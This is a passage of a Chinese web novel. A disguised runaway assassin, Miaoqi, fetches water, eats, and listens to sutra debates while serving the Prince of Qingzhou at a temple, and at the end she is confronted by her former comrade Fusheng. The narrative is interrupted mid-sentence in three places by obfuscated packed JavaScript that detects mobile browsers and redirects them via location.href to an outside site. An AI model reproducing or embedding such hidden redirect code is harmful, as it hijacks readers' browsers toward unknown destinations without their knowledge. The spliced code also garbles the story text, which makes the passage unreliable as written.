“三年前学成剑法,师父所赠,听是早年间洛阳一补锅匠暗中所铸。” “你师父是什么人?” “江湖隐门,不足一提。” “……” 应平语塞,不知为何,他几乎觉得自己在同古人交谈。 今时之世鲜见人将江湖挂在嘴边,此人却说得自然,不过他倒底久居皇墙内,对江湖了解甚少,兴许这少年真是隐门中人,常年隐居山泉,鲁莽质直至此也不足为怪。 “既是隐门,为何前来自荐?” “师父仙去后我无家可归,只好另谋生路,素闻青州王菩萨心肠,所以前来。” “……” 应平越发觉得自己在同古人说话,但还是若有所思点了点头,须臾觉察到自己像是在闲话家常,这才微觑眼眸,又问她:“适才你提到的神医又是何人,现在西南何处?” “我不知道。” “你——” 不待应平生气,渺七接着说:“我只知他行踪不定,会在西南走动。” 应平不再言语,沉吟许久,转头朝院墙上方看去:“出来吧,带他一同挑水去。” “……” 墙头露出一颗脑袋,垂丧着。 前往山涧的路上,应安挑担走在前头,起初还置气不同渺七说话,但走着走着就没忍住问起她:“谢仲孝,我瞧你年纪不大,今年几岁?” “十七。” “哦,那我十八。”他似是想占点便宜,但很快又反悔,“好吧,我十六,若我再学一年功夫,必能赢过你。” “哦。” “……”好生敷衍!应安吃瘪走出几步,又问,“你脸上那疤可是练武所伤?” “天生貌丑。” “唔。” 这下应安总算安静点,默默引路。 渺七上山前便想过她会谋到份新差,却没想过她的第一件差事会是挑水,若在平日倒也无妨,可她刚刚才伤及臂膀,总归觉得不爽。 渺七厌恶一切体肤之痛,即使是点小痛都厌恶。 她曾答芙生三愿,其二便是再无体肤之痛,但芙生仍嗤之为妄想,称即便天不欲降重任于某人,此人也必将忍受苦劳饿乏,也只能忍受。 渺七能听懂的话一向很少,但这句话似乎是听明白了,于是她一边不爽一边忍着疼挑了三趟水,直到一条鱼随桶中水倾倒至缸中,她才眨眨眼睛,忘记不爽。 银白的鱼,只巴掌大,她伸手去捉它,银鱼却钻到水缸深处,她看不见鱼,只看见透过头顶古松罅隙照进缸里的日光和一只手。 “谢仲孝,你发什么呆呢!” “有条鱼。” “山间都是活水,捞起鱼来有什么稀奇?” “你也捞到了吗?” “唔,想必是有几条的,我又没盯着水看。” “那就是没有。” “可敢与我一赌,若有——” “不赌。” 渺七断然回绝,重新挑起空担子。 “无趣,你不赌我赌!”应安拿出偏要赌的架势,当即俯身趴到齐腰高的大缸边上,极力往里张望。 渺七头也不回地走开,等她挑回第四担水回来时,缸边早已不见应安身影,不但应安不在,缸里的水也去了大半,清澈见底—— 而那条小鱼已然不在其中。 也不知他为了数鱼将水和鱼弄去了哪儿,渺七这般想着,忽有一小比丘走来,朝她合掌道:“阿弥陀佛,午斋已备好,青州王请施主回院里用斋。” 一听有饭可吃,渺七也不言谢,即刻放下两只来不及倾倒的水桶回松寮小院里。 已是亭午时分,院中只古松底下有日影笼罩,眼下裴皙与应平二人坐在阴影中的石桌边上,应安则双手撑地,定定倒立在院墙根下。 虽是倒立,面上却无狰狞之色,反而双目轻掩一副道行颇深的模样,渺七瞧他一眼,默默走至树影下。 石桌上只三碗斋面,各配一小碟腌芥,此外还有一碗药,渺七看看面,再看裴皙。 裴皙手捧一卷诗集看着,并不抬眼,却说:“不必等我,你们吃便是。” 噢。 渺七依言坐去石凳上,提起筷子便开动,素面配以蘑菇浓卤,味浓汤黑,鲜美至极,只佛家视食欲为贪婪,主张少吃,是以斋饭份量实在很少,渺七吃完面连汤也饮下,仍不觉餍足。再看其余二人,一个仍捧着诗卷,另一个则吃相斯文,细嚼慢咽。 正瞧着,一人忽有了动作,伸手将面前的一碗面推至渺七手边。 手指白净纤细,看便养尊处优,渺七不禁抬眼看向裴皙。 裴皙则收回手重又捧起书卷,盯着书册说:“吃饭不必着急,若是不够,这碗也吃了罢。” 渺七若有所思,既不言谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17317532|198990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不照做,桌上一时陷入静默,连应平也停下吃面动作,不动声色观察着。 过了许久,渺七才问他:“那你呢?” “适才已在慧观法师处用过斋,你只管吃。” 也对,青州王又不是玄霄中人,又岂会没他饭吃的时候呢? “那我呢?我呢!” 不远的墙根底下忽忽传来应安略显期许的声音,裴皙侧头看去,笑问他:“你与应平每日去后山打牙祭,当我不知么?” “咳咳——”应平猛然转头干咳两声。 渺七看了看三人,默默低头吃第二碗面。 直到晌饭结束应平才许应安从墙边下来,少年麦色脸面涨得微红,头发也有些许凌乱,捂着空空如也的肚子跟在应平身后出了寮院,一时间,小院中唯有渺七与裴皙二人。 裴皙静静翻书,渺七静静看他。 他似乎一点儿也没变,还和五年前时一般温和,就仿佛他是天底下最大的善人。可为何呢? 裴皙这时放下书卷,开口:“你也同他们去罢。” “我吃饱了。”渺七老实答他。 “……” 裴皙不觉低笑声,随后将桌上的药饮尽,起身朝房内去。渺七望着他背影,迟钝明白过来他那话是想将她也支远些,可他何不直说呢? 渺七不懂,却也不觉烦躁—— 常有人与她拐弯抹角,那些人只教她烦躁,他却不太一样。 可他究竟哪里不同呢? 裴皙走出几步,蓦然驻足,回身叫渺七:“谢仲孝。” 渺七微怔,须臾反应过来是在叫她,应声:“在。” “鱼在松树后头。” 裴皙说完,径自回屋轻掩房门,渺七则转身绕去树后。 老松之下,一条巴掌大的小银鱼在钵中游动,正是先前缸中那只。也就是说,只有她捞起一条鱼,应安没有捞到。 渺七捧起钵看上会儿,随后朝院外去,行至山溪附近,忽听应安的嚷嚷声,渺七驻足停在树后,听他埋怨:“又没叉中!都怪那谢仲孝,早知一条也叉不起来,就该把那钵里的鱼拿来塞牙缝。” “……” “技不如人还怪去旁人头上,看来还是罚你不够。”应平口吻沉着。 “大哥,你也偏心外人!”应安嘀嘀咕咕,似乎很不平,“不就是拿半缸水浇了花草么,罚我倒立便是,居然还不给饭吃,那个谢仲孝倒好,一人吃了两碗面。” 应平一时不接话,走去溪边接过应安手中的鱼叉,应安接着问他,“大哥,我怎么觉得王爷待他好得很?” “王爷待谁都好。”应平语声模糊,渺七却还听得分明。 “是没错,但这未免也太草率了些,若真留下他带他回青州,云公公定会责怪我们。”应安提到云公公时脸皱作一团。 应平又沉默许久,沉默间他叉起一条鱼抛去应安怀中,应安的顾虑立刻烟消云散,抱住鱼大喜,应平却在这时开口:“王爷他说——” “啊!” 应安怀中的鱼挣扎跃起,惹得少年怪叫一声,将鱼扑倒在地。 应平的话由此打断,不再接着讲,这时,渺七捧着钵从树后走出,兄弟二人一见她,都不说话,只见她走到溪边将钵中小鱼放生。 “谢仲孝!”应安抱着奄奄一息的鱼从地上爬起,“你几时来的?” “这会儿。” “这算什么回答,你没偷听我们说话吧?” “没有。” 听她否认,应安这才撇撇嘴角不理她,蹲到溪边杀生。渺七却走去应平面前,好奇问他:“他说什么?” “……” “……” 这便是她说的没有偷听吗! 5. 〇五 裴皙说了什么应平无可奉告,渺七亦没再追问。 她想,无论如何,眼下裴皙都未将她视作威胁,更没有认出她来才对,所以她只需扮好谢仲孝,当好差,再想法子令裴皙信服,前往西南寻医便可。 至于如何寻医,她还需想想才是。 然而,刚为青州王当差的第二日她就一觉睡到日上三竿,醒来时先在床榻上发了会儿呆,听着山中雀鸣,似有些无所适从。 起来后又在屋中耽搁了半天,用来思索昨日易容的红斑和痦子究竟谁在左脸谁在右脸,最后终于将红斑贴到左脸上,痦子黏在右眼下方。 推门出去时,院中只有应安一人在练剑,见到渺七,不由得报复心起,二话不说一剑朝她刺来。 渺七站在廊下不动如山,应安俨然像是捉弄了一团空气,好没意趣地收起剑,道:“谢仲孝,你初来乍到,便——” 原是想数落一通渺七晚起的事,但才说到一半就觉异样,改口道,“奇怪,我怎觉得你和昨日不太一样?” 渺七心知贴反了,于是面无表情道:“我去茅房。” “你这粗人,在寺里要说‘东司’!” 渺七不理睬他,径直越过他找什么东司去,实则却是在无人处将左右脸的易容调换过来,然后再暗暗记下红斑在右,痦子在左。 关于易容这门学问,韩仲孝还教了玄霄中人不少,不单是扮丑,也有施粉化妆将人变美的招数,甚至还教人做人皮面具。 可惜渺七讨厌这门学问,尤其厌恶脸上覆有异物的感觉,因此她只得易容术皮毛。她常用的易容装饰只几件,随身便能携带,还是韩仲孝亲手所做,做工精良,质感极真,加之一种特制的鱼鳔胶,黏在面上极为牢固。 渺七曾疑惑为何世上会有人钻研易容术,芙生答她杀人术都有人钻研,易容术又算得了什么。她还是没懂,但没再继续问,芙生最烦的便是她问东问西。 渺七没找着五谷轮回之所,倒是找到处叫五观堂的地方,正是灵应寺斋堂。 晨斋已过,午斋未至,此时斋堂外只有一个小沙弥在洗饭桶,见有香客来,起身合掌:“阿弥陀佛,施主用斋吗?” 施主渺七点点头。 “饭头师父还未做午斋,只有晨斋时剩下的馒头,施主意下如何?” 施主渺七想要三个,桶头师父遂实实诚诚地给她取来三个馒头。 渺七吃着馒头回院里时,应安不禁满面狐疑地看她,一边伸手摸了摸后脑勺,似在怀疑自个儿上山以来没有吃好,已然恍惚,不然为何谢仲孝看起来又不太一样了? 幸而这时行明也从院外进来,应安分神看去,见只有他,问道:“行明师父,怎么只有你,你已论完经了么?” “今日是住持师父与三位师兄论经,小僧并未一起。” “原来如此,那你来得正好,陪我练拳。” 应安此次来灵应寺跟着行明学了套拳法,每日见到人都要与他切磋一番,昨日在寮院外遇到渺七时二人正是在林中切磋。 行明闻言却笑眯眯道:“小僧前来有事在身。”说着看向一旁吃馒头的渺七,“青州王说今日论经颇有意味,请两位施主一同前往聆听。” “啊?”听是论经,应安应得有些不安。 渺七则歪了歪头,问应安:“这也是当差的要做的吗?” 应安忙挺起胸脯,端起架子道:“这是自然,我们既是为王爷办事,便要唯王爷命是从。” 渺七吃馒头的动作稍停,若有所思。 原来给青州王做事也要唯命是从吗?她以为这只是玄霄的规矩。 她落在行明和应安身后,跟着前往论经处,途中吃完了第二个馒头。 今日论经并非在论经台,而是在山寺幽僻处一棵花树下,来时清风拂过,落花纷飞,裴皙便与几位僧人静坐于花树下。 行明引二人坐到树荫下,渺七坐在众僧最右侧,左手边次第是应安和行明。 渺七坐下后头件事便是越过几颗光头看裴皙,青年修眉俊目,面如冠玉,束青丝着白衣,而青丝之上挂着两瓣落花。她不禁想,倘他也做了和尚剃了头发会是怎样的模样。 好一会儿,她才从思绪中回神,扭头问应安:“为何还不说话?” 应安吓一跳,忙朝她做出噤声的手势:“嘘,这叫禅定。” “不懂。” 说得理直气壮,应安压低声,生怕惊扰到众人:“总之要静,不要打扰了诸位师父。” 渺七便再看看树下众僧,见他们皆充耳不闻不为所动,接着说:“既然他们都已禅定,想必听不见我说话。” “……” 应安没见过这般不守规矩之人,气到龇牙,正想找条地缝钻进去,便见一个鞋袜和缁衣都教水打湿的僧人提着桶水来到论经处,走至住持与另外两个老僧面前,放下水桶,两掌合十。 “阿弥陀佛,弟子来迟了。”那僧人道。 说完,渺七便见最中间的白须僧人睁开眼,只念叨声阿弥陀佛,而后树下所有人都如梦初醒般看去。 渺七立时有所悟,仿佛学到如何打断禅定那般。 晚来的僧人约莫已有三十岁,他身侧还坐着两名僧人,渺七来时便看见他们面前也各自放了桶水,此时三人并坐。 白须僧人先看向最后回来的弟子,道:“既如此,就由行通你先来解,何故晚归?” 行通答:“师父让弟子与两位师兄打来清水,弟子遂沿清溪向上,行至小潭瀑布处接清泉而归。源头活水,清澈绵延,生机不断,修行之心当如清泉般流动清新。” 住持师父点点头,转头看中间的弟子,问:“行观,你归来亦迟,作何解?” 行观道:“弟子与行通师弟背道而驰,山泉奔涌而下,注入河中,弟子所取之水乃是山麓之下村民日日饮用之水,无论清澈与浑浊,皆滋养众生,修行如山泉,应为众生解渴。” 住持师父又点点头,转看向最后一名弟子,道:“行缘,你取水最快,解来听听?” 行缘道:“弟子不及师兄与师弟,遥遥跋涉,而是前往山涧,顺其自然取来一桶近水,虽有浮叶,但一切万法皆从心生,心清则水清。” 住持师父又点点头,然后看向裴皙,问道:“王爷认为三位弟子如何?” 裴皙微微一笑,只说:“学生佛缘尚浅,今番只做旁听,不敢妄评。” “善哉。”老住持也微笑颔首,而后转朝众弟子道,“行通见清于源,行观见清于济 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17317533|198990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,行缘见清于心,为师认为三清并立,不分高下,慧观师弟,你如何看?” 慧观便是坐在裴皙身侧的老僧,其人瘦削如竹,眉目清正,闻言沉吟几许,而后朝众僧徒后方看去,口吻肃然道:“老衲听闻青州王的两位近侍也为寺中取水,有一问想请教二位小施主。” 应安蓦地被点了名,立刻挺直脊背,瞄了眼一旁的渺七,此人竟不知几时又掏出个馒头吃了起来。 真不知他揣了几个馒头来! 不过应安来不及训渺七,只硬着头皮答:“慧观法师请讲。” “若今日住持师兄是要两位小施主打来清水,你们如何应对?” 应安瞧了眼裴皙,裴皙只是微笑看他二人,无意帮腔,他只好抓了抓耳朵,说:“只让我打来一桶水的话,寺中不是就有水缸么?我便去缸中取一桶来,岂不是比行缘师父还快?唔,不过这是比清不是比快……” “非也。”慧观正色道,“住持师兄并非说这是比清,一来论经证道不宜说‘比’,只是各抒己见而已,二来亦非论‘清’,住持师兄只不过将取水说成取清水,清水便是清水吗?浑水便不是清水吗?况施主所说缸中之水,乃是僧众与香客日用之水,如何不清?” “原来如此,我明白了。” “……”渺七闻言转头看看应安,不知他明白了些什么。 而慧观这时又问起她来:“这位小施主,你会如何?” 她看去树下,不假思索道:“我为何要听他的?” 说完看看裴皙,只见他依旧和颜悦色,似乎并不觉得她多有冒犯。慧观同样没有变化神情,但他本就神色肃然,闻言只道:“施主所言甚是。”而后朝白须老僧道,“住持师兄,我已解惑。” “阿弥陀佛,既解你之惑,亦解我与众弟子之惑。余下时候便如慧观所言,各抒己见罢。” 老住持话落,树下总算热络起来,小僧们各自谈经论道,而渺七莫名问应安:“他们解了什么惑?” 应安哪里知道,转头问行明。 行明微微一笑,道:“无修而修,无证而证,此心无住。” “……” 应安又转回头,压低声对渺七说:“罢了罢了,他们和尚说话就是让人摸不着头脑。不过谢仲孝,适才问你那人可是王爷的老师,你这般作答,回院里后王爷定会训斥你的。” 渺七才不信这话,只问:“为何他要认和尚做老师,难道他想出家?” “乱说,王爷只是修心而已,佛是师,道亦是师,明白吗?” “不明白。” 语气憨直,应安不禁语塞,顿了顿才说:“真不知你们隐门平日都教些什么,不过也罢。” “那他为何会认和尚做老师?”渺七定要寻根究底。 应安只好无奈答她:“其实慧观法师还是个医者,这两年他为王爷看过几回病,许是这般缘故王爷才认他作老师的。” 渺七便问:“那他能医好他吗?” “唔……” 应安无言耷拉下脑袋。 显然是不能的。 渺七亦无言,只是又一次抬眼看向裴皙,而这次看去时,他亦看着她,神情不同寻常,好似没有表情,又好似带着丝丝探究。 6. 〇六 回寮院的路上,渺七同应安和行明走在前头,裴皙反而与应平落在后头。 应安一早没活动,又提起要和行明切磋之事,行明却转朝渺七说起话,问她:“不知谢施主在隐门中时,除了习剑还学些什么?” 果然,嚷着要切磋的应安即刻将注意转到渺七身上,丝毫没察觉行明是有意转移话题,不过没发觉的不止他,渺七也未察觉,反而一本正经回道:“刀枪鞭棍都能学。” 只要是能杀人的,玄霄都有人教。 应安听罢接过话:“想不到教得竟挺杂,不过只教舞刀弄枪吗?隐门中人,听起来琴棋书画也应精通才是。” “这些也学。” 玄霄中人除了杀人行刺,亦有行窃或刺探密报之时,有时需接近达官贵人而不杀之,所以除了教习十八般武艺外,易容术、追踪术、毒术、机关术甚至火药术都有人教。 至于琴棋诗书画,那些通常是进入日院后才学的,日院极为神秘,其院首极少登岛露面,但听闻他是个文人,为日院定下了众多规矩,而入日院者往往需要文武兼修。 渺七身为星院杀手,对日院杀手的日常之事所知甚少,她,又或者说星院之中的所有杀手,所做之事仅仅是领命杀人,做一柄好剑或好刀,亦或者旁的什么武器,星院之中只有佼佼者能进月院,月院中佼佼者再入日院。 应安听罢却不大相信似的,问她:“既如此,你为何还如此鲁莽?” “你难道不鲁莽?” 口吻真挚到应安几乎语噎,瞪着眼珠子看渺七半天才闷闷说:“好啊,你竟是这般看我,那稍后回院中我们比试一番。” 果真一派莽夫举止。 行明闻言但笑不语,渺七则一口应下,回院后便跟应安打了一架,结果自然是她将人打得无力还招,汗水滴滴答答往地上砸。 “不妥不妥,没力气了。”应安扶着院墙道,“等吃完晌饭再打不迟。” 一听应安说起晌饭,渺七毫不恋战收起剑来,不过正要将剑缠回腰带间,就听裴皙的声音传来。 “谢仲孝,剑可否借我一瞧?” 渺七动作一顿,转头看去老松下。 石桌上架着棋枰,裴皙此前与行明在松下对弈,眼下行明已然盯着棋局入定,裴皙则静静看着渺七。 渺七只眨了眨眼,随后便抬脚走去石桌前,将手中剑递出。 决定学剑的第一天,谢离告诉渺七兵器乃性命,一个杀手断不能抛下自己的兵器,那无异于抛下自身性命,而将自己的兵器交与旁人更是无异于将自己的命交与旁人。 所以,谢离将自己的利剑交给她砍竹子时便已经将自己的命交与她,而最后他也同他的剑葬在一处。 好生奇怪,人的性命为何会在于物? 渺七那时不明白,她问谢离,如若杀手的性命是兵器,那她此前又用什么充当性命呢? 谢离回她:“此前你的性命就是你的性命,但入生地狱时,你便不再有性命,你的命便是你的剑。” 渺七还是不大明白,如今离开玄霄,她便更不明白。 如果在竹林中那日她想到这个疑问,她应当会在谢离问她是否有话要对他说时问上一句,可惜想起得太迟。 而眼下她将剑递给裴皙,是想试试看她的性命是否就是这柄腰带剑,交到旁人手中是否便是将性命交出。又或许她还有别的意图,但渺七一时想不清楚。 裴皙握住剑柄之时,手腕轻颤,剑身如灵蛇游弋,在空气中划出琅琅声。 所有剑器中,软剑尤为难习,缠、抖、扫、割皆讲究速度和力道,否则威力大不如重剑。渺七选习软剑是因为它好听,那位霍教习挥出软剑时,剑音如海浪翻涌而来,如天外来音,渺七喜欢那样的声音。 霍教习是个寡言之人,但她曾与渺七说,剑响即见刃,听挥剑人挥出的第一声剑响,便可以听出此人是否会剑,故而渺七此刻认定裴皙会剑术,还会软剑。 想也知道,数年之前他还是声名煊赫的太子殿下,必定是习过武的。 但裴皙仅仅抖了那一下,随后便垂下眼眸,细细端量剑刃。 不知为何,渺七总有一种她已教他识破的感觉,但又不太确定,因为裴皙若是认出她是谁,此刻剑刃应该已经割破她的脖颈才是。 果然,她看不懂他。无论她到过青州几次,听多少人谈论过他,她都看不懂他究竟是怎样一人。 裴皙说瞧便只是瞧,瞧完不予评价,就像先前不评价那三僧所论之道那般。 他抬眼看向杵在他面前的少年,只见一双澄明的眼同样盯着他看,眼底好似充满探究,又仿若空无一物。然后,他朝她递出手中剑。 渺七眨眨眼,分不清他们究竟谁握着谁的性命,如若她是前来杀他的,她接过剑时,他必死无疑。至于他死之后她能否活下去,便不是鲁莽如渺七会考虑的事了。 她收回剑缠回腰间,裴皙倏地问起:“身在佛门,与以往在隐门中时可有什么不同?” 渺七想了想,如实答他:“在佛门吃得香,睡得也香。” 裴皙低低笑声,竟打趣道:“所以今早才迟迟不醒?” “……”渺七默了默,说,“明日我会早些醒的。” “晚些醒也无妨,你千里迢迢而来,想必路途颠沛。” “不对啊谢仲孝,”那端应安缓过劲儿来,闻言走近问渺七,“你既是青州人,何不等我们回青州再登门自荐,偏要来这里寻我们。” “因为我很急。” 她说得面无表情,应安不免语噎,单瞧这副模样他可瞧不出这人很着急,裴皙闻言却只是一笑。 这时,静坐在棋枰边的行明忽然有了动作,合掌道:“阿弥陀佛,是小僧又输了,多谢青州王赐教。” 应安时时缠着他切磋拳法,他又何尝不是时时缠着这位青州王切磋棋艺呢? “输是自然,”应安乐呵呵开口,“天底下除了太后娘娘,再无旁人赢过我们王爷。” “你怎知再无旁人赢过我?” 应安瞪眼:“以往您与人对弈,我从未听说你说过有人赢你。” “我输给那人时,你我尚不相识。” “原来如此,想必那人定是个德高望重的高人。” 渺七:“……” 他所说之人莫不是她? 那他这时提起这事,当真是已经认出她来吗? 思索间,两个小沙弥从洞门外进来,各拎两只食盒,送来今日午斋,渺七便立时忘了这茬。 行明随两个小沙弥一同告辞离去,院中只剩下青州王与他的三名侍从。 今日应安没有犯错,与其余三人同坐,不过吃饭时便记起仇来,尤其是见渺七埋头吃素馄饨吃得认真,更为不平,忍不住道:“大哥,今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17317534|198990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日谢仲孝冲撞了慧观法师,你为何不罚他?” 应平看一眼他,又看一眼裴皙,道:“罚与不罚,是王爷的事。” 应安翘首,但等了会儿没等到裴皙发话,便低声咕哝:“以往王爷不罚我你也会罚我。” “我能以兄长身份罚你,却不能以兄长身份罚他。” 应安无奈长叹声,再看渺七,仍吃得津津有味,好似置身事外般,便更觉气闷。 真是个又丑又怪的人,不过心倒挺宽。 …… 此后数日间,渺七不是挑水便是同应安比试,应安屡战屡败,越发来了劲,渺七虽未尽全力,却也不胜其烦,故而这日天初亮就躲出屋去。 应安醒来之后,果真一早就到渺七门外叩门,叫了好些声也无人响应,索性破门而入,见人不在又钻出屋,恰巧撞见裴皙和应平回院,难得拘谨站定。 “王爷,大哥。” “佛寺清净之地,整日闹闹腾腾像什么话?”应平斥责道。 裴皙则扫过应安身后,即刻笑说:“既然精力旺盛,今日就同行远小师父下山采买。” “啊?我还想和谢仲孝打会儿呢,也不知他一大早跑去哪儿了。” “啊什么?”应平又训,“行远师父才出山门不久,你跑快些还追得上他。” “是!” 应安飞也似的奔出院,渺七这才打个哈欠,从老松之上跃下,当着二人面踱回屋去,掩上房门。 应平:“……” 怎么总觉得这小子比应安还鲁莽? “王爷?” 裴皙似笑非笑,道:“由他去吧,两日后回青州,你且安排着。” “是。那您的身体?” “已无大碍。” 话尽于此,渺七在门后听到此处,默默躺回床榻之上。 没有应安的寺院格外寂静,鸟鸣喈喈,花香浅淡,渺七原想思考一些事,但很快便昏昏入睡。 及至一觉醒来,混似小神仙,不知人间时辰,只觉腹中空空。 渺七检查一番脸上的易容,重新推门出去,松阴清影之下,行明又与裴皙静坐对弈,渺七只望上眼,便朝小院外去。 毕竟这几日除了挑水,裴皙从不给她安排差事,然而今次她刚走出两步就教裴皙叫住:“谢仲孝。” 渺七停下脚,困惑转身。 “你上山几日了?” “已是第五日。” “伤势如何?” “已无大碍。” “那可曾沐浴?” “……”渺七摇头。 “夏日里常出汗,还需勤沐浴,以免生病。” 渺七曾在泥地打架滚得满身淤泥,也曾在海中浮游一连腥臭几日,故并不觉得眼下她有多脏。但芙生离去后,还是头回有人催促她沐浴。 果真他还是和从前一样爱管闲事。 渺七心底这般想着,面上却好不老实,点点头道:“我这便去。” 说完又作势往外,却再度教裴皙拦下:“去哪儿?” “溪里?” “……” 行明这时微笑道:“谢施主说笑,灵应寺内有香客浴堂,只管前往便是,小僧在此谢过施主近日挑来的水。” 渺七表示知晓,转身出院,却非去寻浴堂所在,而是前往五观堂。 天大地大,吃饱最大。 7. 〇七 应安结束采买回寺里时已近酉时,与行远分别后便疾步赶回寮院来。 院中渺七正无聊逗虫蚁玩,应安一见她,先是愣上许久,随后大笑不止,问道:“谢仲孝,你这是什么打扮,莫不是要出家?” 只见渺七身穿僧袍,头顶一颗黑茸茸的脑袋,活脱脱出家人模样。 应安见她不语,上前几步,大惊道:“不会罢,你当真出家了么?” “没有。” 渺七难得耐着性子向他解释起缘由,她本是去沐浴时忘记带上干净衣物,末了只好穿上僧袍,穿上僧袍忽又想到今后要三日一沐五日一浴,又觉麻烦,索性朝浴堂的小比丘要了剃刀,将长发剃掉,故才变成此般模样。 应安听罢笑个不停,渺七欲绕过他走开,却教他拦住:“莫生气莫生气,我在山下替你带了些点心。”他说着献宝似的捧起怀中的油纸包,“我瞧你很是能吃,特意买来的。” 渺七本就没有生气,听有东西吃,便随他坐去石桌旁。 应安解开油纸,道:“这是青团和鸡豆糕,你吃过么?” 她摇摇头,应安便露出一副果然如此的表情,问她道:“你从前隐居山上,平日里都吃些什么?” “米饭山禽海鲜。”渺七答着,伸手取糕点,却不料应安急忙护住。 “适才见你在地上玩,需洗了手再吃,免得惹上病。” 应安打小在医馆长大,他娘身为医者,认为病从口入,从来都这般叮嘱他和妹妹,以故这时他忍不住捡来这话叮嘱渺七。 但渺七看了看他,猝不及防一掌劈向他手腕,害他松了手。 应安当即怪叫声,随后便见渺七拾起一块鸡豆糕吃了起来,气得跳脚:“你这家伙,好心劝你你还打我,亏得我脾气好。” 说着忽然起身,原是裴皙从洞门外回来,他忙告状,“王爷,谢仲孝好不知礼,玩了虫手也不洗就吃糕点。” 裴皙却像是没听见,又盯着渺七的光头看了几许,随后似笑非笑地朝桌边去。 他也没想到,他只不过是催他沐浴一番就见到这般景象—— 早间一局棋未下完,忽有一个小和尚走来院中,他抬眼一看,不觉惊落指尖棋子。来人倒是安然不动,顶着颗猕猴般的脑袋,老实向他禀报他已沐浴好,口吻好似办好了件什么要紧的差事。 应安本也不指望裴皙开口指责渺七什么,见状只故作摇头叹息姿态,等裴皙坐下再才问他:“王爷,今日怎不见我大哥?” “两日后回青州,他已去打点事务。” “果真?”应安眼一亮,大喜道,“善哉善哉,总算不用吃斋饭了,我都瘦了。”又转去和渺七说话,“对了谢仲孝,你猜我今日在山下吃了什么?猜中了下山时带你去吃。” “不猜。”渺七吃完一块糕点,又取一块碧绿青团送进嘴里。 “你这人真真气死人!” 渺七再不理他,专心吃着,又吃几块后,发现裴皙在一旁欲言又止,便转过头去问他:“你想说什么?” 裴皙犹豫片刻,直说:“晚斋快要备好,少吃点。” “……”渺七嚼嚼嚼。 “……”罢了,当他没说。 寺院僧人大都过午不食,晚斋主要为香客提供,这日晚斋乃是粥食,饭头师父将粥饭煮得柔腻,渺七一碗粥下肚,始觉傍晚时该听裴皙劝,于是饭后便孤身往院外散步去。 日夕风起,山风略带凉意,吹过渺七脑袋时犹如凉水淌过,渺七摸了摸脑袋,觉得好玩,因此迎风跑起来。 在寺院小住的这些时日,渺七感到很是畅快,生平少有的畅快。 她曾许下的三愿之中,最后一愿便是日日饱食,这一愿芙生不再嗤之以鼻,反说这很容易。也许渺七吃得实在很多,又或者她总是受罚没饭吃,所以她总觉得这并不容易,而眼下她整日饱食,自然就成了件畅快事。 难怪青州王府里的人都不愿离开,能整日吃白饭,多畅快。 适逢圆月夜,月早生,渺七跑至后山林间时已有月光洒下,她蹲去淙淙山溪旁,俯身弄水。正觉惬意,忽而一支银镖险险擦过她肩头,渺七旋即抬眼看去。 冷冷月光下,一道黑影立在溪水另一岸,黑色裙摆之上水光熠熠。 “是你。” 朦胧月影间,渺七依稀辨出那道人影,那人便从树影之下露出半张脸。又一次,芙生出现在圆月的夜晚,面带讥诮望着渺七。 “你来做什么?” “你说呢?总不会是来找你叙旧的罢?” 英国公府相见时芙生也问过类似的话,渺七听出她在生气,态度良好认错:“上次是我骗了你。” “我早该料到。” 口吻如神情般冷漠,这让渺七想起芙生曾说她像狗的话,尤其眼睛像狗,所以她才能凭借那双像狗的眼睛让所有人都对她所说之话信以为真。 显然,上次英国公府相见时,芙生又一次轻信了她。 “你来杀我吗?”渺七仍蹲在山溪边,问得真诚。 “杀你的话,自会安排玄影出动,我的任务是带你回去。” “之前来抓我的是穆冲,他已经输给我了。” “因为他本就不是来抓你的,我才是。” 渺七沉默看她良久,最后有些固执地开口:“韩教习说我已不是玄霄中人。” “你以为那便作数吗?那是院首同老霄首之约,而如今我行的是新霄首之命。”芙生说罢,不再给渺七问话的机会,抽出剑。 渺七出来时没有带剑,她还穿着僧袍,不曾将剑配在腰间。 芙生拔出剑后同样发现这点,因而剑光在月下一闪后便止住。 “怎么,离了玄霄,连性命也可以抛之脑后了吗?” 二人几乎是谢离一前一后带去岛上的,年岁又相仿,谢离教过渺七的话,自然也教过芙生,以故芙生这般冷嘲热讽。 渺七不言,仍蹲在溪侧,适才说话间,她的半边身子已隐入暗影中,此时右手不着痕迹地向后探了探,转瞬间使出一支银镖,正是适才擦过她肩头的那支。 动作迅疾,毫无征兆,芙生登时抬剑相挡。银镖与剑刃相击,发出声突兀脆响,渺七便在这脆响声中起身,掉头跑开。< 